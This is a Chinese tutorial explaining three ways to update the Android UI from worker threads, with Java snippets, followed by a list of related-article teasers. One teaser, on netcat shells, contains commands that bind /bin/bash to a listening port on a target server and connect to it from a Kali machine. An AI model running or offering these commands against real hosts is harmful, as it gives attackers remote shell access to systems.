详解Android UI更新的几种方法

前言

在android开发中,界面UI的更新都是在主线程来完成的。线程分为主线程(Main Thread,简称MT)和工作线程(Work Thread,简称WT),我们通常会在WT中执行一些比较耗时的操作,比如下载,网络,缓存等,然后在将结果发送给MT进行UI的更新操作。如果是在WT进行UI的更新,则会抛出异常,android.view.ViewRoot$CalledFromWrongThreadException: Only the original thread that created a view hierarchy can touch its views.(只有创建这个View的原始线程才能修改这个view)。

在BT搜索、WIFI搜索、其他需要更新View的UI过程中,很多是采用广播的方式通知搜索的结果,实时的显示到listview中进行UI的更新操作。通常会使用以下几种方式进行UI的更新:handler,runOnUiThread,子线程发送Message。

一、Activity.runOnUiThread

利用Activity.runOnUiThread(Runnable)把更新ui的代码创建在Runnable中,然后在需要更新 ui时,把这个Runnable对象传给Activity.runOnUiThread(Runnable)。这样Runnable对像就能在ui程序中被调用。如果当前线程是UI线程,那么行动是立即执行。如果当前线程不是UI线程,操作是发布到事件队列的UI线程。

mActivity.runOnUiThread(new Runnable() {
  @Override
  public void run() {
    Log.e(TAG, "开始添加设备!");
    addDevice(device);
  }
});

二、handler.post(Runnable)

handler.post(new Runnable() {
  @Override
  public void run() {
    addDevice(device);
  }
});

三、子线程发送Message

首先在需要执行更新的位置添加以下代码

new Thread(new Runnable() {
  @Override
  public void run() {
    //Message msg = new Message();
    //msg.what = 0x06;
    //handler.sendMessage(msg);
    handler.sendEmptyMessage(0x06);
  }
}).start();

然后进入handler下进行处理

final Handler handler = new Handler() {
  @Override
  public void handleMessage(Message msg) {
    switch (msg.what) {
        case 0x06:
          addDevice(device);
        break;
      default:
        break;
    }
    super.handleMessage(msg);
  }
};

以上三种方法都可以实现UI的更新,掌握哪种方式取决于代码中的叠加度,不过个人推荐使用方法一。希望对大家的学习有所帮助,也希望大家多多支持我们。

(0)

相关推荐

  • Android 在其他线程中更新UI线程的解决方法

    方法一:Activity.runOnUiThread(Runnable )(经验之道: 这个最好用, 凡是要刷新页面的地方,Activity.runOnUiThread( new Runnable()  { public void run(){更新UI}}); 方法二:子线程调用Handler的sendMessage(message)发送事件. 复制代码 代码如下: mHandler = new Handler() {     @Override     public void handleMe

  • Android异步更新UI的四种方式

    大家都知道由于性能要求,android要求只能在UI线程中更新UI,要想在其他线程中更新UI,大致有4种方式,下面分别使用四种方式来更新一个TextView. 1.使用Handler消息传递机制 package com.example.runonuithreadtest; import android.app.Activity; import android.os.Bundle; import android.os.Handler; import android.widget.TextView;

  • Android 更新UI的方法汇总

    1.Activity的 runOnUiThread textView = (TextView) findViewById( R.id.tv ); new Thread(new Runnable() { @Override public void run() { runOnUiThread(new Runnable() { @Override public void run() { textView.setText( "更新UI了"); } }); } }).start(); andro

  • Android更新UI的四种方法详解

    前言 相信每位Android开发者们都知道更新UI只能在主线程中进行,若是在子线程执行任务后需要更新UI,则需要借助handler跳转到主线程中.以下介绍几种操作UI的方法. 一.使用Handler的handleMessage() Handler的构造 public Handler() { this(null, false); } public Handler(Callback callback, boolean async) { if (FIND_POTENTIAL_LEAKS) { fina

  • Android UI更新的几种方法总结

     Android UI更新 做过Android开发的人都遇到过这样的问题:随着需求的变化,某些入口界面会出现UI的增减.内容变化和跳转界面变化等问题,这里就说明几种方法来实现 UI的更新. 1.Activity的 runOnUiThread   textView = (TextView) findViewById( R.id.tv ); new Thread(new Runnable() { @Override public void run() { runOnUiThread(new Runn

  • android使用多线程更新ui示例分享

    Android线程涉及的技术有:Handler;Message;MessageQueue;Looper;HandlerThread. 下面看一段在线程中更新UI的代码: 复制代码 代码如下: public class MainActivity extends Activity {private TextView timeLable;private Button stopBtn;private Thread mThread;private boolean isRunning = true;priv

  • 详解android进行异步更新UI的四种方式

    大家都知道由于性能要求,Android要求只能在UI线程中更新UI,要想在其他线程中更新UI,我大致总结了4种方式,欢迎补充纠正: 使用Handler消息传递机制: 使用AsyncTask异步任务: 使用runOnUiThread(action)方法: 使用Handler的post(Runnabel r)方法: 下面分别使用四种方式来更新一个TextView. 1.使用Handler消息传递机制 package com.example.runonuithreadtest; import andr

  • 详解Android UI更新的几种方法

    前言 在android开发中,界面UI的更新都是在主线程来完成的.线程分为主线程(Main Thread,简称MT)和工作线程(Work Thread,简称WT),我们通常会在WT中执行一些比较耗时的操作,比如下载,网络,缓存等,然后在将结果发送给MT进行UI的更新操作.如果是在WT进行UI的更新,则会抛出异常,android.view.ViewRoot$CalledFromWrongThreadException: Only the original thread that created

  • 详解Android实现定时器的几种方法

    前言 这几天正在看Android官方的开发文档,里面有很多很值得思考的开发建议,有时间的朋友可以去看一下(官方是英文文档,如果看不懂可以通过浏览器插件翻译对比着看,还是很方便的). 其中一篇课程提到了AlarmManager,这个类之前仅仅是了解这是一个闹钟的管理器,如果要是做一些胜过提醒.闹钟之类的软件都需要用到.官方的例子用来实现定时器,突然觉得这是一个很神奇的事情,就搜集了一些资料,把我知道的实现计时器的几种方法写下来,给自己加深记忆,也分享给大家. 正文 我用到的几种实现定时器的类:Ha

  • 详解mybatis 批量更新数据两种方法效率对比

    上节探讨了批量新增数据,这节探讨批量更新数据两种写法的效率问题. 实现方式有两种, 一种用for循环通过循环传过来的参数集合,循环出N条sql, 另一种 用mysql的case when 条件判断变相的进行批量更新 下面进行实现. 注意第一种方法要想成功,需要在db链接url后面带一个参数  &allowMultiQueries=true 即:  jdbc:mysql://localhost:3306/mysqlTest?characterEncoding=utf-8&allowMulti

  • 详解Android 检测权限的三种写法

    本文介绍了详解Android 检测权限的三种写法,小编觉得挺不错的,现在分享给大家,也给大家做个参考.一起跟随小编过来看看吧 权限检测生效条件: targetSdkVersion 以及 compileSdkVersion 升级到 23 及以上 运行 Android 系统 6.0 及以上 三种检测权限写法: public static boolean checkPermission1(Context context, String[] permissions) { PackageManager p

  • 详解Android使用@hide的API的方法

    详解Android使用@hide的API的方法 今天早上想修改MediaPlaybackService.Java(/packages/apps/Music)的代码. 将AudioManager.STREAM_MUSIC改成AudioManager.STREAM_TTS. 发现AudioSystem.java(/frameworks/base.media/java/Android/media) /* @hide The audio stream for text to speech (TTS) *

  • 详解Swift model 解析的两种方法

    详解Swift model 解析的两种方法 1. 常规解析方法 //懒加载声明一个LJNewsModel为数据的数组 lazy var ljArray : [LJNewsModel] = [LJNewsModel]() //MARK:-- 数据获取和解析 extension NewsViewController{ func requestNetData(){ /* 打印json数据 */ LJDownLoadNetImage.request("GET", url: "http

  • 详解NC反弹shell的几种方法

    假如ubuntu.CentOS为目标服务器系统 kali为攻击者的系统,ip为:192.168.0.4,开放7777端口且没被占用 最终是将ubuntu.CentOS的shell反弹到kali上 正向反弹shell ubuntu或者CentOS上面输入 nc -lvp 7777 -e /bin/bash kali上输入 nc ip 7777 正向反弹是目标机先执行nc命令,然后kali上再进行nc监听,即可反弹shell. 需要目标机安装nc. 反向反弹shell 方法1:bash反弹 bash

  • 详解SpringBoot读取配置文件的N种方法

    我们在项目开发中经常会用到配置信息,例如数据库连接的帐号.密码等,而为了方便维护,我们通常将这些信息放到配置文件中.在需要用到这些配置信息时,可以通过代码获取.下面我们看看Spring中有哪些获取配置信息的方法. PropertiesLoaderUtils读取 通过ClassPathResource加载配置文件资源,结合PropertiesLoaderUtils类读取,源码如下: ClassPathResource resource = new ClassPathResource("applic

  • 详解pandas apply 并行处理的几种方法

    1. pandarallel (pip install ) 对于一个带有Pandas DataFrame df的简单用例和一个应用func的函数,只需用parallel_apply替换经典的apply. from pandarallel import pandarallel # Initialization pandarallel.initialize() # Standard pandas apply df.apply(func) # Parallel apply df.parallel_ap

随机推荐